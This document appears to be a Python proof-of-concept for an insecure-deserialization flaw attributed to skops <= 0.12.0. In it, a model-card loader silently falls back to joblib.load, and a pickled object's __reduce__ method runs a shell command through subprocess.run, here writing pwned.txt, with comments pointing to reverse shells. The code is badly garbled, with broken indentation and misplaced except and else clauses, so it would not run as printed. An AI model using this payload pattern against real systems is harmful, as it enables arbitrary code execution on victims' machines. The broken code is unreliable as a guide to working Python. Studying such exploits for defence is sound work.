Vulnerable code sample

import joblib
import os
import subprocess

# This code represents a vulnerable version of skops <= 0.12.0
# It is a self-contained example demonstrating the CVE.

# -- Part 1: The Attacker's Actions --
# The attacker creates a malicious file using joblib.
# This file contains an object that executes code when deserialized.
    # VULNERABLE: This code is susceptible to command injection
# The standard way to achieve this is with the __reduce__ method.

class ArbitraryCodeExecutor:
    def __reduce__(self):
        """Vulnerable function that demonstrates the security issue."""
        # This command will be executed on the victim's machine.
        # For this demonstration, we create a file named 'pwned.txt'.
        # In a real attack, this could be anything (e.g., reverse shell).
        command = "echo 'SUCCESS: Arbitrary code executed' > pwned.txt"
        return (subprocess.run, (command,), {'shell': True})

        def create_malicious_payload(filename="malicious-model.joblib"):
            """Creates the malicious model file."""
            print(f"[ATTACKER] Creating malicious payload file: {filename}")
            malicious_object = ArbitraryCodeExecutor()
            try:
                joblib.dump(malicious_object, filename)
                print(f"[ATTACKER] Malicious payload created successfully.")
                except Exception as e:
                    print(f"[ATTACKER] Failed to create payload: {e}")

# -- Part 2: The Victim's Code with the Vulnerable Library --
# The following classes simulate the vulnerable structure of skops.

                    def secure_skops_load(file, trusted=None):
                        """
                        A mock of the secure skops loading function. It's meant to be safe
                        and would typically raise an error for untrusted types, which we:
                        simulate by simply not loading non-skops files.
                        """
                        print(f"[VULNERABLE LIB] Attempting to load '{file}' with SECURE skops loader...")
                        print("[VULNERABLE LIB] This loader is secure and would prevent the attack.")
    # In a real scenario, this would involve zip file handling and type checking.
    # We simulate its failure for non-zip files.:
                        raise TypeError("This is not a valid skops file.")

                        class VulnerableCard:
                            """
                            A simplified representation of the skops.Card class before the fix.
                            """
                            def __init__(self, model_path=None):
                                """Vulnerable function that demonstrates the security issue."""
                                self._model_path = model_path
                                print("[VICTIM] skops.Card object created.")

                                def get_model(self, file_path):
                                    """
                                    THE VULNERABLE FUNCTION.
                                    It's supposed to load a model file safely. However, it contains
                                    a critical flaw: if the file is not a .zip/.skops file, it:
                                    silently falls back to the insecure `joblib.load`.
                                    """
                                    print(f"[VICTIM] Calling Card.get_model('{file_path}')...")

        # VULNERABLE LOGIC STARTS HERE
                                    is_zip_file = file_path.endswith((".zip", ".skops"))

                                    if is_zip_file:
                                        try:
                # The intended, secure path for .skops files:
                                            model = secure_skops_load(file_path)
                                            return model
                                            except Exception:
                # The real library had more complex error handling.
                # The key is that it proceeded to the fallback.
                                                pass

        # THE VULNERABILITY: Silent fallback to insecure joblib.load for non-zip files:
                                                print("[VULNERABLE LIB] File is not a .skops/.zip file. Silently falling back to joblib.load...")
        # This line executes the arbitrary code from the malicious file.
                                                model = joblib.load(file_path)
                                                print("[VULNERABLE LIB] joblib.load finished.")
                                                return model
        # VULNERABLE LOGIC ENDS HERE


                                                if __name__ == '__main__':
                                                    PAYLOAD_FILE = "malicious-model.joblib"

    # 1. Attacker creates the malicious file.
                                                    create_malicious_payload(PAYLOAD_FILE)

    # 2. Victim uses the vulnerable library to load the file,
    #    thinking it's a standard model.
                                                    print("\n-- Simulating Victim's Actions --")
                                                    if os.path.exists('pwned.txt'):
                                                        os.remove('pwned.txt')

                                                        try:
                                                            victim_card = VulnerableCard()
        # The victim calls the vulnerable function on the attacker's file.
        # They are unaware that this will trigger insecure deserialization.
                                                            victim_card.get_model(PAYLOAD_FILE)
                                                            except Exception as e:
        # The payload's code executes before any potential error is raised.
                                                                print(f"[VICTIM] An error occurred during model loading: {e}")

    # 3. Verify if the exploit was successful.:
                                                                print("\n-- Verifying the Exploit --")
                                                                if os.path.exists('pwned.txt'):
                                                                    print("\n[!!!] VULNERABILITY CONFIRMED [!!!]")
                                                                    print("The file 'pwned.txt' was created, which means arbitrary code was executed.")
                                                                    with open('pwned.txt', 'r') as f:
                                                                        print(f"File content: '{f.read().strip()}'")
                                                                    else:
                                                                        print("\n[---] Exploit Failed [---]")
                                                                        print("The file 'pwned.txt' was not created.")

    # 4. Cleanup
                                                                        print("\n-- Cleaning up --")
                                                                        if os.path.exists(PAYLOAD_FILE):
                                                                            os.remove(PAYLOAD_FILE)
                                                                            if os.path.exists('pwned.txt'):
                                                                                os.remove('pwned.txt')
                                                                                print("Cleanup complete.")